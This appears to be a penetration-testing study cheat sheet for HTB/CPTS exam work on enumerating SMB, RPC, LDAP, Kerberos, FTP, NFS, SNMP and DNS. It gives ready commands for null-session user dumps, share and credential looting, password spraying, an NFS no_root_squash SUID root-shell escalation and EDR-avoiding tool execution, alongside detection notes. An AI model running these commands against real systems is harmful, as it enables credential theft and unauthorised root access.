service-enumeration.md (71735B)
1 --- 2 title: "Stage 03 — Service Enumeration" 3 description: "CPTS attack-flow reference for stage 03 — service enumeration in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 6 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-03", "pentest-workflow"] 8 tools: ["NetExec", "enum4linux-ng", "rpcclient", "smbclient", "ldapsearch"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/06 - Stage 03 - Service Enumeration.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 06 of 17 · **Focus:** Stage 03 — Service Enumeration 17 > 18 > **Previous:** [Foothold Toolkit — Shells, Payloads, and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) · **Next:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration) 19 20 --- 21 # 🗂️ STAGE 3 — SMB, RPC & Other-Service Enumeration 22 23 Non-web, non-LDAP service enum. Every box: fire the null-session probes first — a working null session is worth as much as low-priv creds for enumeration. Then work each open service look-for → enumerate → exploit. Deep dives: Anonymous Null Testing, SMBMAP, NetExec - SpiderPlus, Snaffler, NFS - Cheatsheet, 6 - Attacking SMB, 9 - Attacking DNS. 24 25 --- 26 27 ### ⏱️ 60-Second Triage — port → first 3 commands 28 29 The "what do I run in the first minute" table. Full sections below; this is the fast pass over an nmap result. `$IP` = target, `$DOMAIN` = AD domain, `$DC` = domain controller. 30 31 | Port(s) | Service | First 3 commands | 32 | :-- | :-- | :-- | 33 | 445/139 | SMB | `nxc smb $IP` · `nxc smb $IP -u '' -p '' --shares` · `smbclient -N -L //$IP` | 34 | 135 | RPC | `rpcclient -N -U '' $IP -c 'enumdomusers'` · `rpcdump.py $IP` · `nxc smb $IP -u '' -p '' --rid-brute` | 35 | 389/636 | LDAP(S) | `ldapsearch -x -H ldap://$IP -s base namingcontexts` · `nxc ldap $IP -u '' -p ''` · `windapsearch --dc $IP -U` | 36 | 53 | DNS | `dig axfr $DOMAIN @$IP` · `dnsrecon -d $DOMAIN -n $IP` · `fierce --domain $DOMAIN --dns-servers $IP` | 37 | 88 | Kerberos | `kerbrute userenum -d $DOMAIN --dc $DC users.txt` · `nxc smb $IP` (confirm DC) · `ldapsearch -x -H ldap://$DC -s base` | 38 | 21 | FTP | `nxc ftp $IP -u 'anonymous' -p ''` · `ftp anonymous@$IP` · `nmap -sC -p21 $IP` | 39 | 2049/111 | NFS | `showmount -e $IP` · `nmap --script nfs* -p111,2049 $IP` · `sudo mount -t nfs $IP:/ ./mnt -o nolock` | 40 | 161/udp | SNMP | `onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP` · `snmpwalk -v2c -c public $IP` · `snmp-check -c public $IP` | 41 | 25 | SMTP | `nmap -sC -p25 $IP` (smtp-commands) · `smtp-user-enum -M VRFY -U users.txt -t $IP` · `swaks --to test@$DOMAIN --server $IP` | 42 | 110/143 | POP3/IMAP | `telnet $IP 110` (`USER` enum) · `nmap -sC -p110,143,993,995 $IP` · `curl -k "imaps://$IP" --user "$U:$P"` | 43 | 1433 | MSSQL | `nxc mssql $IP -u "$U" -p "$P"` · `mssqlclient.py "$DOMAIN/$U:$P"@$IP -windows-auth` · `nmap --script ms-sql-info -p1433 $IP` | 44 | 3306 | MySQL | `nxc mysql $IP -u "$U" -p "$P"` · `mysql -u root -h $IP` · `nmap -sC -p3306 $IP` | 45 | 5432 | PostgreSQL | `psql -h $IP -U postgres` (blank/`postgres`) · `nxc pgsql $IP -u postgres -p postgres` · `nmap --script pgsql-brute -p5432 $IP` | 46 | 6379 | Redis | `redis-cli -h $IP info` · `redis-cli -h $IP config get dir` · `nc $IP 6379` (banner) | 47 | 27017 | MongoDB | `mongosh "mongodb://$IP:27017"` · `nmap --script mongodb-info -p27017 $IP` · `mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})'` | 48 | 3389 | RDP | `nxc rdp $IP` (NLA check) · `nmap --script rdp-ntlm-info -p3389 $IP` · `xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore` | 49 | 5985/5986 | WinRM | `nxc winrm $IP -u "$U" -p "$P"` · `evil-winrm -i $IP -u "$U" -p "$P"` · `nmap -sC -p5985,5986 $IP` | 50 | 22 | SSH | `ssh-audit $IP` · `nmap -sC -p22 $IP` (hostkeys/auth) · `ssh $U@$IP` | 51 | 5900+ | VNC | `nmap --script vnc-info,vnc-brute -p5900 $IP` · `vncviewer $IP:0` · `hydra -P passwords.txt $IP vnc` | 52 | 23 | Telnet | `nc $IP 23` (banner) · `telnet $IP` · `nmap -sC -p23 $IP` | 53 | 623/udp | IPMI | `nmap -sU -p623 --script ipmi-version $IP` · MSF `ipmi_dumphashes` · `ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list` | 54 55 > [!tip] CPTS tip — the triage table is deliberately null/anonymous-only. If ANY of the three commands answers (shares list, users dump, AXFR succeeds, Redis `info` returns), stop scanning and mine that service before touching the next port. Low-hanging fruit rots fast in a timed exam. 56 57 --- 58 59 ### `> SMB — anonymous / null / guest (445 / 139)` 60 61 **What to look for:** null or guest access, non-default shares (IT, Development, Finance, `profiles$`, CertEnroll), the domain + hostname, SMB signing state (relay potential), NTLM on/off. SMB enum maps to MITRE ATT&CK [T1135 Network Share Discovery](https://attack.mitre.org/techniques/T1135/) and [T1046 Network Service Discovery](https://attack.mitre.org/techniques/T1046/). 62 63 **Enumerate:** 64 ```bash 65 nxc smb $IP # OS, domain, hostname, signing, SMBv1, NTLM state 66 nxc smb $IP -u '' -p '' --shares # true null session 67 nxc smb $IP -u 'guest' -p '' --shares # guest account 68 nxc smb $IP -u 'oxdf' -p '' --shares # bogus creds sometimes list shares (Authority trick) 69 smbclient -N -L //$IP # anon share list (Samba native) 70 smbmap -H $IP -u '' -p '' # null-session share list + perms (READ/WRITE/NO ACCESS) 71 rpcclient -N -U '' $IP # null RPC — then enumdomusers, querydispinfo 72 ``` 73 74 **[NetExec](https://github.com/Pennyw0rth/NetExec) SMB flag cheat table** (the ones that matter for Stage 3): 75 76 | Flag | Needs auth? | What it gives you | 77 | :-- | :-- | :-- | 78 | `--shares` | null sometimes | share names + READ/WRITE perms | 79 | `--users` | null sometimes | user list via SAMR (no RID cycling) | 80 | `--groups` | null sometimes | domain groups | 81 | `--loggedon-users` | local admin | sessions on the host (spray targets) | 82 | `--pass-pol` | null sometimes | lockout threshold — read BEFORE spraying | 83 | `--rid-brute` | null sometimes | full user list via RID cycling (noisy) | 84 | `--disks` | auth | disk inventory | 85 | `-M spider_plus` | auth | recursive file inventory → JSON (see below) | 86 | `--ntds` / `--sam` / `--lsa` | local admin | cred dumps (Stage 10 territory) | 87 | `-x "cmd"` | local admin | command exec (SMB-only hosts, no AV bypass) | 88 89 **Exploit / Attack:** a null session that lists users/shares feeds everything downstream — dump users → spraying, dump shares → loot, dump pass-pol → safe spray window. 90 ```bash 91 nxc smb $IP -u '' -p '' --users # user list with no creds 92 nxc smb $IP -u '' -p '' --groups # groups, no creds 93 nxc smb $IP -u '' -p '' --pass-pol # lockout threshold BEFORE you spray 94 nxc smb $DC -u '' -p '' --rid-brute # RID-cycle users out of a null session (noisy) 95 nxc smb $IP -u 'guest' -p '' --users --shares # guest-account variant when true null fails 96 ``` 97 98 **Null-session fallbacks when `nxc`/`rpcclient` null is refused** (Impacket one-shots — [impacket](https://github.com/fortra/impacket)): 99 ```bash 100 samrdump.py $IP # SAMR user list, tries null auth 101 lookupsid.py $IP # SID→name RID cycling over null session 102 lookupsid.py -no-pass guest@$IP # guest-account RID cycling 103 samrdump.py -no-pass guest@$IP # guest SAMR dump 104 ``` 105 > [!note] `lookupsid.py` and `samrdump.py` both honor `-no-pass` for an anonymous bind and will fall back through auth levels — they're the fastest "did null really die?" check, because nxc reports the *first* failure and stops. 106 107 > [!warning] Watch out 108 > - `STATUS_LOGON_FAILURE` = null blocked; `STATUS_ACCESS_DENIED` = authed-but-no-priv (still useful — auth works). 109 > - `--rid-brute` / RID cycling spews **hundreds of Event ID 4625** — noisy, expect it on a monitored box. 110 > - `NTLM:False` in the `nxc smb $IP` banner = NTLM disabled → use Kerberos everywhere from here (`-k`, `getTGT`). 111 > - **Detection:** null/guest probing shows as Event ID **4624/4625 logon type 3** (network) on the target; share access adds **5140/5145**. Sequential probing of many hosts from one source IP is a trivial SOC correlation. 112 > - SMBv1 in the banner = legacy host; on a 2003/XP-era box check EternalBlue (MS17-010) — but on anything modern it just flags an outdated build for the report. 113 114 --- 115 116 ### `> SMB — share listing, spidering & downloading` 117 118 **What to look for:** writable shares, and inside them: `.kdbx` / `.psafe3`, `web.config`, `unattend.xml`, Groups.xml (GPP), `id_rsa`, `.ps1`/`.bat`, `.xlsx`, Ansible vaults, `.bak`. 119 120 **Enumerate:** 121 ```bash 122 smbmap -H $IP -u "$U" -p "$P" -r # recursive listing with per-share perms 123 smbmap -H $IP -u "$U" -p "$P" -r 'Finance/Payroll' --depth 5 # dive one share deep 124 nxc smb $IP -u "$U" -p "$P" --shares # perms per share 125 nxc smb $IP -u "$U" -p "$P" -M spider_plus # read-only file inventory -> JSON 126 smbclient //$IP/SHARE -U "$DOMAIN/$U%$P" # interactive browse 127 ``` 128 129 **smbclient quick reference** (inside the interactive shell): 130 ```text 131 ls # list 132 cd IT\ # move 133 get script.ps1 # pull one file 134 mget *.xml # pull by pattern 135 prompt OFF; recurse ON; mget * # bulk-pull everything, no confirmation 136 put shell.aspx # upload (only if WRITE perm confirmed) 137 ``` 138 Full usage: `smbclient //$IP/SHARE -U "$DOMAIN/$U%$P"`. 139 140 **Exploit / Attack:** auto-loot. smbmap `-A` regex-downloads on hit; spider_plus with `READ_ONLY=false` pulls filtered files to `/tmp/nxc_spider_plus/<IP>/`. 141 ```bash 142 # smbmap regex auto-download (requires -r) — grab creds/config/keys 143 smbmap -H $IP -u "$U" -p "$P" -r -A '(password|cred|secret|\.kdbx|id_rsa|\.config)' --depth 6 -q 144 # smbclient bulk pull of a whole share 145 smbclient //$IP/SHARE -U "$DOMAIN/$U%$P" -c 'prompt OFF; recurse ON; mget *' 146 smbclient -N //$IP/SHARE -c 'prompt OFF; recurse ON; mget *' # null-session variant 147 # spider_plus targeted download, then grep the loot 148 nxc smb $IP -u "$U" -p "$P" -M spider_plus -o READ_ONLY=false \ 149 PATTERN=password,cred,config,backup EXT=txt,xml,config,ini,kdbx,pem MAX_FILE_SIZE=10485760 150 grep -r -i "password" /tmp/nxc_spider_plus/$IP/ 151 ``` 152 153 **What to hunt in the loot** (priority order): 154 | File / pattern | Why | 155 | :-- | :-- | 156 | `web.config`, `appsettings.json` | DB connection strings, machine keys | 157 | `unattend.xml`, `sysprep.xml` | local admin creds (cleartext or base64) | 158 | `Groups.xml` (SYSVOL) | GPP `cpassword` → `gpp-decrypt` | 159 | `.kdbx`, `.psafe3`, `.keychain` | password DBs → keepass2john → hashcat | 160 | `*.ps1`, `*.bat`, `*.vbs` | hardcoded service creds in deploy scripts | 161 | `id_rsa`, `*.pem`, `*.ppk` | SSH keys | 162 | `*.xlsx`, `passwords.*` | spreadsheets named like they sound | 163 164 > [!tip] Recon read-only first (`-M spider_plus` alone → JSON at `/tmp/nxc_spider_plus/<IP>_*.json`), `jq` the inventory to pick targets, *then* flip `READ_ONLY=false` with tight filters. Downloading everything is slow and loud. 165 166 > [!warning] Watch out 167 > - smbmap `-A` needs `-r` (lowercase); combining with legacy `-R` errors on current builds. Matches auto-download to your **CWD** — `cd` somewhere sane first. 168 > - Deep recursion (`--depth > 3`) = high SMB read volume, flags DLP/EDR. Scope to one share when you can. 169 > - Copying files (smbmap `--upload`, spider download) to admin shares (`C$`, `ADMIN$`) lights up EID 5140/5145 — prefer non-admin writable shares. 170 > - MITRE: [T1552.001 Unsecured Credentials: Credentials In Files](https://attack.mitre.org/techniques/T1552/001/) — share looting is exactly this; note it in the report narrative. 171 172 --- 173 174 ### `> enum4linux-ng — one-pass SMB sweep` 175 176 **What to look for:** the whole SMB picture in one shot — domain/workgroup, users, groups, shares, OS, and the password policy (JSON/YAML export you can feed downstream). [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) is the maintained Python rewrite of the legacy Perl [enum4linux](https://github.com/CiscoCXSecurity/enum4linux). 177 178 **Enumerate:** 179 ```bash 180 enum4linux-ng -A $IP # full auto sweep (users, groups, shares, OS, pol) 181 enum4linux-ng -A $IP -oA recon/enum4linux # same + JSON/YAML export for tooling 182 enum4linux-ng -A $IP -u "$U" -p "$P" # authenticated — pulls far more 183 enum4linux-ng -P $IP -oA ilfreight # password policy only (do this before spraying) 184 enum4linux-ng -U $IP # users only 185 enum4linux-ng -S $IP # shares only 186 enum4linux-ng -G $IP # groups only 187 enum4linux-ng -P -u '' -p '' $IP # null-session pass-pol (172.16.5.5-style DC) 188 ``` 189 190 **Flag cheat table:** 191 192 | Flag | Meaning | 193 | :-- | :-- | 194 | `-A` | all simple enum (users, shares, groups, pol, OS, printers) | 195 | `-U` | users | 196 | `-G` | groups | 197 | `-S` | shares | 198 | `-P` | password policy | 199 | `-R` | RID cycling (range with `-r 500-1100`) | 200 | `-oA <base>` | export JSON + YAML | 201 | `-u/-p/-d` | creds / domain for authed enum | 202 203 > [!note] `enum4linux-ng` (Python, maintained, `-oA` JSON/YAML) is the default over the original Perl `enum4linux`, which is effectively unmaintained and has no JSON output. On a plain box the legacy `enum4linux -a $IP` still works if `-ng` isn't installed. 204 205 > [!warning] Watch out `-A`/`-a` includes RID cycling → hundreds of **Event ID 4625** failed-logon events. On a monitored target, run targeted flags (`-U -S -P`) instead of the full sweep. 206 207 --- 208 209 ### `> RPC — rpcdump, rpcclient enum & RID cycling (135 / 593)` 210 211 **What to look for:** exposed RPC interfaces (the [rpcdump.py](https://github.com/fortra/impacket) interface list reveals *which* coercion endpoints a host answers — EFS/MS-EFSRPC, spooler/MS-RPRN, DFS/MS-DFSNM), full user list (even when SMB `--users` is blocked), group memberships, the domain SID, per-user detail (`querydispinfo` often leaks descriptions with passwords). 212 213 **Enumerate — interface dump:** 214 ```bash 215 rpcdump.py $IP # every registered RPC endpoint 216 rpcdump.py $IP | grep -iE 'EFS|MS-RPRN|DFSNM' # coercion surface check (relay section below) 217 rpcdump.py $IP | grep -i spoolsv # Print Spooler present -> printerbug possible 218 ``` 219 220 **Enumerate — rpcclient cheat table** (all inside `rpcclient -N -U '' $IP`, or `-c '...'` one-shots): 221 222 | Command | Returns | 223 | :-- | :-- | 224 | `srvinfo` | server role + OS build | 225 | `enumdomusers` | all users (+ RIDs) | 226 | `enumdomgroups` | domain groups | 227 | `querydispinfo` | user detail — **DESCRIPTIONS** (creds land here) | 228 | `getdompwinfo` | password policy (min length, lockout) | 229 | `netshareenumall` | every share incl. hidden | 230 | `queryuser 0x1f4` | detail on RID 500 (Administrator) | 231 | `queryuser 0x460` | detail on RID 1120 (a real account) | 232 | `querygroupmem 512` | Domain Admins members | 233 | `lookupnames guest` | resolve name → SID (grab domain SID) | 234 | `lookupsids <SID>` | resolve SID → name (RID cycling) | 235 | `lsaenumsid` | trusted-domain SIDs | 236 | `enumprinters` | shared printers | 237 238 ```bash 239 rpcclient -N -U '' $IP # null session, then interactive commands above 240 # one-liners: 241 rpcclient -N -U '' $IP -c 'enumdomusers' 242 rpcclient -N -U '' $IP -c 'enumdomusers;enumdomgroups;netshareenumall' 243 rpcclient -U "$DOMAIN/$U%$P" $IP -c 'querydispinfo' 244 ``` 245 246 **Exploit / Attack — RID cycling** (recover users when `enumdomusers` is restricted): grab the domain SID via any known name, then brute the RIDs. 247 ```bash 248 # get the domain SID 249 rpcclient -N -U '' $IP -c 'lookupnames guest' # -> S-1-5-21-x-y-z-501 250 # cycle RIDs 500-1100 against that SID -> resolve names 251 for i in $(seq 500 1100); do \ 252 rpcclient -N -U '' $IP -c "lookupsids S-1-5-21-x-y-z-$i" 2>/dev/null | grep -v 'NONE'; done 253 # or just let nxc / enum4linux-ng / impacket do it: 254 nxc smb $IP -u '' -p '' --rid-brute 255 lookupsid.py -no-pass guest@$IP 256 ``` 257 258 > [!tip] Common RIDs: **500** Administrator, **501** Guest, **512** Domain Admins, **513** Domain Users, **1000+** real user accounts. Pull the 1000+ names into `users.txt` for AS-REP roasting / spraying in [Stage 05](/sheets/pentest-workflow/kerberos-attacks). 259 260 > [!warning] Watch out `rpcdump.py` is read-only and quiet; `rpcclient` enum is logon type 3 traffic (4624/4625). RID cycling against a DC is one of the loudest enumeration moves available — thousands of 4625s in a tight window. 261 262 --- 263 264 ### `> LDAP(S) — anonymous binds (389 / 636 / 3268 GC)` 265 266 **What to look for:** an anonymous bind that answers — a lot of older/AD-integrated boxes (and nearly every HTB AD box's "intended path" start) let you read the whole directory with **no creds**. MITRE [T1087 Account Discovery](https://attack.mitre.org/techniques/T1087/) / [T1069 Permission Groups Discovery](https://attack.mitre.org/techniques/T1069/). Deep credentialed enum lives in [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) — this block is the *unauthenticated* slice. 267 268 **Enumerate — quick one-liners:** 269 ```bash 270 # 1) base probe — returns naming contexts if anonymous bind works at all 271 ldapsearch -x -H ldap://$IP -s base namingcontexts 272 # 2) full anonymous dump of the domain naming context 273 ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" | tee ldap-anon.txt 274 # 3) targeted: users only, readable attributes 275 ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \ 276 "(&(objectClass=user))" sAMAccountName description memberOf 277 # 4) password policy (from the domain head) 278 ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \ 279 -s base "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockOutObservationWindow 280 # 5) global catalog on a DC (forest-wide, port 3268) 281 ldapsearch -x -H ldap://$IP:3268 -b "DC=inlanefreight,DC=local" "(objectClass=user)" sAMAccountName 282 # nxc sanity check on the same surface 283 nxc ldap $IP -u '' -p '' 284 ``` 285 286 **Tooling for bigger dumps** (all handle auth when you have it — Stage 04 uses these credentialed): 287 - [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) — `ldapdomaindump -u "$DOMAIN\\$U" -p "$P" ldap://$IP` → HTML/JSON/grep-able directory dump (users, groups, computers, trusts). 288 - [windapsearch](https://github.com/ropnop/windapsearch) — `windapsearch --dc $IP -U` (users), `-G` (groups), `-C` (computers); add `-u "$U@$DOMAIN" -p "$P"` when authed. 289 - [ldeep](https://github.com/franc-pentest/ldeep) — modern Python enum: `ldeep ldap -u "$U" -p "$P" -d "$DOMAIN" -s ldap://$IP all out/`. 290 291 **Exploit / Attack:** the description/info fields are the classic leak — admins document passwords there. Grep your dump: 292 ```bash 293 grep -iE "passw|pwd|creds?|key" ldap-anon.txt 294 grep -B2 -A2 -i "description" ldap-anon.txt 295 ``` 296 297 > [!warning] Watch out 298 > - `ldap_bind: Invalid credentials (49)` on the base probe = anonymous bind disabled — normal on hardened domains; move to credentialed enum (Stage 04) or null-session SMB instead. 299 > - LDAP signing/channel-binding hardening only matters for **relay**, not for direct binds — don't conflate the two. 300 > - Non-DC hosts also speak LDAP (exchange, apps, printers) — an anonymous bind on an *app* server can leak a service account's cleartext password in a `userPassword` attribute. 301 > - LDAPS (636) with `ldapsearch` needs `-H ldaps://$IP` and often `-o ldif-wrap=no` plus cert-ignoring via `LDAPTLS_REQCERT=never` env var. 302 303 --- 304 305 ### `> Kerberos — username enumeration without creds (88/udp+tcp)` 306 307 **What to look for:** the KDC telling you which usernames exist *for free* — a non-existent user returns `KDC_ERR_C_PRINCIPAL_UNKNOWN`, a valid one returns `KDC_ERR_PREAUTH_REQUIRED` (or a ticket). MITRE [T1589.001 Gather Victim Identity: Credentials](https://attack.mitre.org/techniques/T1589/001/). This is the bridge into [Stage 05](/sheets/pentest-workflow/kerberos-attacks). 308 309 > [!tools] Stage this 310 > [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc)) 311 > [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc)) 312 313 **Enumerate — [kerbrute](https://github.com/ropnop/kerbrute):** 314 ```bash 315 # Linux build — userenum does NOT cause lockouts (it only requests AS-REQs 316 # against names; no failed logons are recorded for non-existent users) 317 ./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid-users.txt 318 # quick sanity with a tiny list first 319 ./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN top100.txt 320 ``` 321 322 **`userenum` vs `passwordspray` — the safe-vs-lockout note:** 323 324 | Mode | What it does | Lockout risk | 325 | :-- | :-- | :-- | 326 | `userenum` | AS-REQ per *name* only | **None** for invalid names; valid names with pre-auth log 4768 preauth-failures only if you go further | 327 | `passwordspray` | one real password against every valid user | **Yes** — counts against the domain lockout threshold; read `--pass-pol` first | 328 329 ```bash 330 # only AFTER nxc smb $DC --pass-pol tells you the threshold (Stage 8 does the spraying) 331 ./kerbrute_linux_amd64 passwordspray --dc $DC -d $DOMAIN valid-users.txt 'Spring2026!' 332 ``` 333 334 > [!tip] No valid users yet? Build the list from what Stage 3 already gave you: SMB `--users`/RID-cycling output, LDAP dump, SMTP VRFY results, or generate candidates with [username-anarchy](https://github.com/urbanadventurer/username-anarchy) from real names. `valid-users.txt` feeds AS-REP roasting (`GetNPUsers.py`) and kerberoast-targeting in Stage 05. 335 336 > [!warning] Watch out User-enum AS-REQs against invalid names log **4768** with "failure" status on the DC in audited environments, and a fast `userenum` over a big wordlist is a distinctive burst — throttle with `--threads 5` on monitored targets. 337 338 --- 339 340 ### `> Snaffler — credential hunting across shares` 341 342 **What to look for:** once you have any domain user, Snaffler walks every readable share on every domain host and triages hits: **Black** (`.kdbx`, `.ppk`, private keys, vaults), **Red** (`.pfx`/`.p12`, configs with creds), **Yellow** (web.config, scripts, connection strings), **Green** (interesting extensions). Runs as the current user — even low-priv finds SYSVOL, IT scripts, dept shares. MITRE [T1552 Unsecured Credentials](https://attack.mitre.org/techniques/T1552/) + [T1083 File and Directory Discovery](https://attack.mitre.org/techniques/T1083/). 343 344 > [!tools] Stage this 345 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) 346 347 **Enumerate / Run** (drop `Snaffler.exe` on the target — or better, `execute-assembly` it from your C2 — and run in the domain user's context): 348 ```powershell 349 .\Snaffler.exe -s -o snaffler.log # console + log, auto-discover via LDAP 350 .\Snaffler.exe -s -o snaffler.log -d $DOMAIN -c $DC # pin domain + DC 351 .\Snaffler.exe -s -o snaffler.log -a # SHARE-ONLY recon first (fast, low noise) 352 .\Snaffler.exe -s -o snaffler.tsv -y # TSV for parsing 353 ``` 354 355 Typical exam flow: `-a` to map shares in seconds → `-i \\FS01\IT_Scripts` to scope → full run on the scoped shares → triage Black/Red. 356 357 **Exploit / Attack:** triage the log, pull the Black/Red hits, crack/reuse. 358 ```bash 359 grep -E "\[(Black|Red)\]" snaffler.log # highest-value first 360 grep "\.kdbx" snaffler.log # KeePass DBs -> keepass2john -> hashcat 361 grep -i "connectionstring" snaffler.log # DB creds in configs 362 # GPP cpassword found in SYSVOL Groups.xml: 363 gpp-decrypt <cpassword_base64> 364 ``` 365 366 > [!tip] `-a` share-only recon before the full file scan lets you scope to interesting shares with `-i "\\FS01\IT_Scripts"`, cutting time-on-target and noise. Use `-f` (DFS-only) for extra stealth. The standalone Windows-side companion for non-domain share hunting is [PowerHuntShares](https://github.com/NetSPI/PowerHuntShares). 367 368 > [!warning] Watch out Snaffler generates **significant** SMB traffic across many hosts (EID 5140/5145, rapid `NetShareEnumAll`) and `Snaffler.exe` is signatured by most EDR — prefer `execute-assembly` in-memory over dropping the binary. On a production engagement, agree the scope before a full-domain run; it *will* appear in file-access dashboards. 369 370 --- 371 372 ### `> FTP — anonymous (21)` 373 374 **What to look for:** anonymous login, then KeePass/Password-Safe DBs, backups, config dumps, notes hinting at the password policy (`SeasonYear!`). 375 376 **Enumerate:** 377 ```bash 378 nxc ftp $IP -u 'anonymous' -p '' # 230 = anon allowed, 530 = blocked 379 nxc ftp $IP -u '' -p '' 380 ftp anonymous@$IP # interactive (nmap ftp-anon flags this too) 381 nxc ftp $IP -u 'anonymous' -p '' --ls # non-interactive listing 382 ``` 383 384 **Exploit / Attack:** pull everything — set **binary** before grabbing DBs/archives or they corrupt. 385 ```bash 386 # interactive: binary ; prompt OFF ; mget * 387 ftp anonymous@$IP 388 # scripted grab-all: 389 echo -e "user anonymous\npass\nbinary\nprompt OFF\nmget *\nquit" | ftp -n $IP 390 nxc ftp $IP -u 'anonymous' -p '' --get file.kdbx 391 ``` 392 393 > [!warning] Watch out Always `binary` before pulling `.kdbx` / `.psafe3` / `.zip` / DB files — ASCII mode mangles them. Empty-string password (`-p ''`) and literal `anonymous` both work; some servers want an email as the password. 394 395 --- 396 397 ### `> NFS — showmount, mount, no_root_squash (2049 / 111)` 398 399 **What to look for:** exported shares (NFSv3 has **no auth of its own** — trust is pure UID/GID), readable files, and dangerous export options in `/etc/exports`: `rw`, `insecure`, `nohide`, and the jackpot **`no_root_squash`**. MITRE [T1135 Network Share Discovery](https://attack.mitre.org/techniques/T1135/). 400 401 **Enumerate:** 402 ```bash 403 showmount -e $IP # list exports, no creds needed 404 sudo nmap --script nfs* $IP -sV -p111,2049 # exports + contents + perms + stats 405 ``` 406 407 **Exploit / Attack:** mount, read with **raw numeric** UID/GID (the truth), impersonate the owner locally to read files. With `no_root_squash` + a shell on the box → local root. 408 ```bash 409 mkdir target-NFS 410 sudo mount -t nfs $IP:/ ./target-NFS -o nolock # mount whole tree (nolock avoids hangs) 411 ls -n ./target-NFS/mnt/nfs/ # RAW UID/GID — plan impersonation 412 find ./target-NFS -ls # hunt readable loot 413 sudo useradd -u 1000 loameuser # recreate owning UID to read its files 414 # --- no_root_squash privesc (attacker is real root locally) --- 415 cp /bin/bash ./target-NFS/mnt/nfs/rootbash 416 sudo chown root:root ./target-NFS/mnt/nfs/rootbash 417 sudo chmod +s ./target-NFS/mnt/nfs/rootbash 418 # then on the TARGET's low-priv shell: 419 /mnt/nfs/rootbash -p # -p preserves SUID euid -> root shell 420 sudo umount ./target-NFS # clean up 421 ``` 422 423 > [!warning] Watch out `no_root_squash` is the whole point — it lets a remote-root-created file keep UID/GID 0, so a root-owned SUID binary in the share runs as root on the target. The safe default `root_squash` maps remote root to `nobody` and blocks this. `ls -l` resolves names via your **local** `/etc/passwd` and lies — always use `ls -n`. 424 425 --- 426 427 ### `> SNMP — community strings (161/udp)` 428 429 **What to look for:** SNMP v1/v2c use plaintext community strings (`public` RO, `private` RW). A valid string leaks system info, running processes, installed software, **local user accounts**, network interfaces, sometimes creds in process args. 430 431 **Enumerate:** 432 ```bash 433 onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP # brute strings (https://github.com/trailofbits/onesixtyone) 434 snmpwalk -v2c -c public $IP # full walk (slow, tons of output — sift it) — net-snmp: https://github.com/net-snmp/net-snmp 435 snmpwalk -v1 -c public $IP # try v1 too — some boxes only answer v1 (Pandora) 436 snmp-check -c public $IP # structured dump: users, processes, software, netstat 437 ``` 438 439 **Exploit / Attack:** target the useful OIDs instead of drowning in a full walk. 440 ```bash 441 snmpwalk -v2c -c public $IP 1.3.6.1.2.1.1 # system: hostname, uptime, contact 442 snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2 # running processes (creds in args!) 443 snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3 # installed software 444 snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # Windows user accounts 445 ``` 446 447 > [!warning] Watch out A full `snmpwalk` is thousands of queries — noisy and slow. Process listing (`25.4.2`) is the money OID: service scripts run with passwords on the command line and show up here in cleartext. UDP/161, so remember `nmap -sU` finds it. 448 449 --- 450 451 ### `> DNS — zone transfer, subdomain enum & ADIDNS (53 TCP+UDP)` 452 453 **What to look for:** the internal domain name, whether AXFR is allowed (zero-auth by protocol design → whole internal namespace in one request), extra subdomains/hostnames + internal IP scheme. MITRE [T1590.002 Gather Victim Network Information: DNS](https://attack.mitre.org/techniques/T1590/002/). 454 455 **Enumerate:** 456 ```bash 457 dig +noall +answer @$IP $DOMAIN # does it even resolve? 458 dig NS $DOMAIN @$IP +short # find the authoritative nameserver first 459 dig +noall +answer @$IP -x $IP # reverse -> domain name 460 dig +short srv _ldap._tcp.$DOMAIN @$IP # locate DCs via SRV records 461 dig +short srv _kerberos._tcp.$DOMAIN @$IP # locate KDCs 462 ``` 463 464 **Exploit / Attack:** request the full zone against the discovered nameserver, then sub-brute what AXFR missed. 465 ```bash 466 dig axfr $DOMAIN @$IP # zone transfer (Trick, Snoopy, Pandora) 467 dig AXFR @ns1.$DOMAIN $DOMAIN # against the named NS explicitly 468 # dnsrecon — AXFR attempt + brute + reverse ranges in one tool (https://github.com/darkoperator/dnsrecon) 469 dnsrecon -d $DOMAIN -n $IP -t axfr 470 dnsrecon -d $DOMAIN -n $IP -D 